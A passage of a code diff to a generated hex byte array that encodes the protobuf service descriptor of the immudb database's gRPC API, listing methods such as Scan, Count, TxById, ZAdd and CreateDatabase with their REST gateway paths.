0x12, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, + 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, + 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, + 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, + 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, + 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, + 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, - 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, + 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, + 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, + 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, + 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, + 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, + 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, + 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, + 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, - 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, - 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, - 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, - 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, - 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, - 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, - 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, - 0x01, 0x2a, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, - 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, 0x0e, - 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, 0x01, - 0x2a, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0c, - 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, + 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, + 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, + 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, + 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, + 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, + 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, + 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, + 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, + 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, + 0x65, 0x72, 